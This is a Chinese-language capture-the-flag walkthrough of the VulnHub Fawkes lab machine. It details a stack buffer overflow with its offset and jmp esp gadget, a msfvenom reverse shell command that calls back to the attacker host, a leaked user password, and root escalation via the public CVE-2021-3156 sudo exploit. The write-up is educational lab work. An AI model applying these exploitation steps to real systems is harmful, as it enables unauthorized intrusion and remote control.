网络攻防(二):二进制索命——Fawkes靶机

Harry Potter系列靶机的作者脑洞大开,讲述了哈利波特和伏地魔对决的故事。Fawkes是这个系列的最后一个靶机,非常有趣,特别是其中二进制分析的内容很有挑战性,在这里写下经验。

靶机地址:https://www.vulnhub.com/entry/harrypotter-fawkes,686/

本文假定读者有x86指令集知识,比如基本的jmp、call、ret指令,以及和栈帧有关的寄存器;紧要处我会加以解释。图片是从Word实验报告取的,它默认会压画质,如果真的有读者读的话我可以配高清图。

1. 概述

目标:取得目标靶机root权限和三个horcrux(flag)。

能力需求:

  • 主机发现、端口扫描等基本技巧;
  • 缓冲区溢出探测和位点确定;
  • 使用reverse shell二进制代码;
  • 汇编代码审计和调试、栈分析、攻击代码构造;
  • 使用tcpdump检查未加密的流量;
  • 使用CVE漏洞获取root权限。

环境:VirtualBox虚拟网络,攻击机(Kali)地址192.168.251.4,靶机地址192.168.251.15。

端口开放情况:

21号端口可以匿名访问,其中有一个二进制文件可供下载。SSH端口有两个。80端口可以访问,但只有一张图片(哈利波特和伏地魔的对决)。9898是一个奇妙的魔法端口,需要用nc才能交互,如图,你可以……阿瓦达索命!

斩获阿卡兹班保送生

2. 二进制分析

将下载到的二进制文件server_hogwarts执行,发现本机的9898端口打开了,也能用nc输入输出(施展魔法),估计和靶机中运行的是一个文件。目前看来只能先通过该二进制文件寻找漏洞。先用checksec确认二进制文件的安全等级:

NX被禁用,这意味着栈是可执行的;地址随机化也没有启用。

2.1. 定位攻击点

用objdump直接分析文件太过复杂。考虑到注入点只有一个(即输入字符串),不妨直接上手调试。先生成一段特殊的长字符串,它有助于定位缓冲溢出点:

kali就是好,浑身上下都是宝

输入这段字符串,触发段错误:

edb调试器

发现此时EIP变成了0x64413764,这是执行了ret指令的结果。回忆ret指令,它把ESP指向的4字节内存按小端读入作为下一条指令的地址,这正是缓冲区溢出攻击的原理。这时刚才生成字符串的优势就出来了,很容易知道输入点距离跳转点有多远。

不妨简单地验证一下,没有问题。

右侧用python生成攻击字符串,期望’1234’的值注入到函数的跳转点

2.2. 攻击代码生成

接下来我们要自己动手产生reverse shell的代码,把它放在栈上就能执行,但问题是如何让EIP指向栈区攻击代码的位置。在考虑构造跳转地址前,不妨考虑一个更好的情况:x86是奇妙的变长指令,字节断章取义很可能就能找到跳转到ESP的指令片段。这时edb工具的作用就出来了,它可以帮我们找到所有能将ESP的值写入EIP的指令片段。

这下思路就明确了:令跳转点的值为0x804d955(注意小端),ret后ESP加4,恰好指向攻击代码,而EIP指向jmp esp;下一步执行jmp esp指令,EIP也恰好会指向攻击代码。

所以攻击字符串的预期构成就是:

112个'A' + 0x55 0x9d 0x04 0x08 + 攻击代码balabala

攻击代码要自己写还是有点麻烦的,kali提供了现成的工具可以生成reverse shell的二进制代码。命令如下:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.251.4 LPORT=4444 -b "\x00" -f py

产生的是python代码,在此基础上按上面的攻击字符串构成稍微改改,就得到了成品。后面我们会简单分析一下为什么这么点东西就能实现reverse shell。

2.3. 调试

为了看清楚攻击代码在干什么,打开调试器:

攻只因,但是寄了。缓冲区溢出攻击,段错是家常便饭。经检查,在执行fnstenv后,栈区内容被修改了,这也导致0xffffd2ef和之前的攻击代码被覆盖。fnstenv指令的作用是:

RTFM

说明该指令向0xffffd2d4(攻击代码开始时的$esp-0xc)保存了数据,长度为28;有16字节的攻击代码被覆盖。考虑到这一点,我们可以在跳转到栈区执行后,将ESP减去一个足够大但又不太大的数,例如0x70(即112),这样ESP附近就有足够空间放置FPU环境值,也不至于对栈造成太大破坏。由于攻击代码是位置无关代码,保证ESP和FPU环境值相对位置不变,应该就能正常执行。

简单操作就能获得这条指令的机器代码:

在83 ec 70后面接一个90,方便指令按四字节对齐,然后插入到攻击代码前面。再次进攻靶机的9898端口,还是寄了。

为什么?这就不在我的预料之中了!我单步调试到栈区中,这次攻击代码没有被破坏了,但单步执行到0xffffd2f3处就会段错,因为引用了一个无效地址。这很令人气恼,因为这个地址是由fnstenv产生的值计算出来的,如果要搞清楚还需要去读x86手册对FPU的讲解。然而,如果在调试器中选择“继续执行”,那么就不再0xffffd2f3处段错,而是在另一个很远的地方段错。这不是偶然。

这时不妨在0xffffd2f3后面打断点,避免在此前单步执行;之后再单步看看发生了什么。随着代码的执行,栈区产生了两个系统调用的指令,在第一个int 0x80处返回ECONNREFUSED,第二个int 0x80处返回ENOSYS。然后代码接着执行,直到一个写着无效值的内存地址,报了段错。

合着找了这么长时间,不过是kali没有开端口监听,所以连接不上。攻击代码没有问题,打开端口监听就登陆上了。

3. 从FTP截取流量

在刚才侵入的地方可以找到.mycreds.txt文件,里面有harry用户的密码:HarrYp0tter@Hogwarts123。该用户名和密码可以登陆2222端口,但不能登录22端口。但总归我们获得了一个完全的shell。

悲剧的是经过检查,2222是容器开放的SSH端口,只有harry用户和root用户。通过sudo -l发现可以免密提权,那太好了,进去看看:

接下来就是用tcpdump抓取流量,读者不妨找找其中的信息?

就是这图可能有点费眼睛

4. CVE提权

从22端口登陆到neville用户,先做基本检查:

  • neville用户无法使用sudo;
  • 只有root和neville用户;
  • 进入的是真实的靶机;
  • 没有其它对本地可见的端口了;
  • 个人目录、根目录和网站目录都没有其他的东西了。

接下来考虑利用内核漏洞进入。检查发行版和内核版本,为Debian 10,Linux 4.19,sudo 1.8.27,可以利用CVE-2021-3156漏洞攻破。这是该漏洞的github页面:https://github.com/worawit/CVE-2021-3156

靶机上没有python,但是有python3。按教程,先执行exploit_nss.py,发现报错:

看着就不是什么大问题,检查代码:

代码中涉及到一些基础的操作系统知识,读者不妨自检?

通过fork执行了SUDO_PATH这个命令,其值为:

手动执行,发现找不到此文件。原来该靶机的sudo装在别的位置:

修改SUDO_PATH,执行代码,成功获取root权限。

5. 攻击代码怎样实现shell注入?

开四个终端。一个用strace监测系统调用情况,并把输入打在另一个终端上;另外两个,一个用于攻击,另一个用于监听reverse shell。

下面的是重点,说明了server做了什么事情,以及被害的全过程:

先接受连接。看起来server不设listen线程,亦没有I/O复用,估计就是在一个大循环里不断accept然后处理,处理完再accept。尝试发现确实无法同时接受多个client连接。

然后在read时server被塞入了一个很长的东西。下面创建套接字,fd为5。dup2系统调用还记得怎么用吗?快回忆一下OS课上所学的东西!三次dup2之后,被害server的输入输出就完全绑定到套接字上了。

再下一步为套接字创建连接,连接成功后用execve重启进程。execve大多数情况下不重置文件描述符表,这使得管道机制和“一切皆为文件”的精妙设计成为可能,但也正因此这个reverse shell能够运作起来。

发表评论

您的电子邮箱地址不会被公开。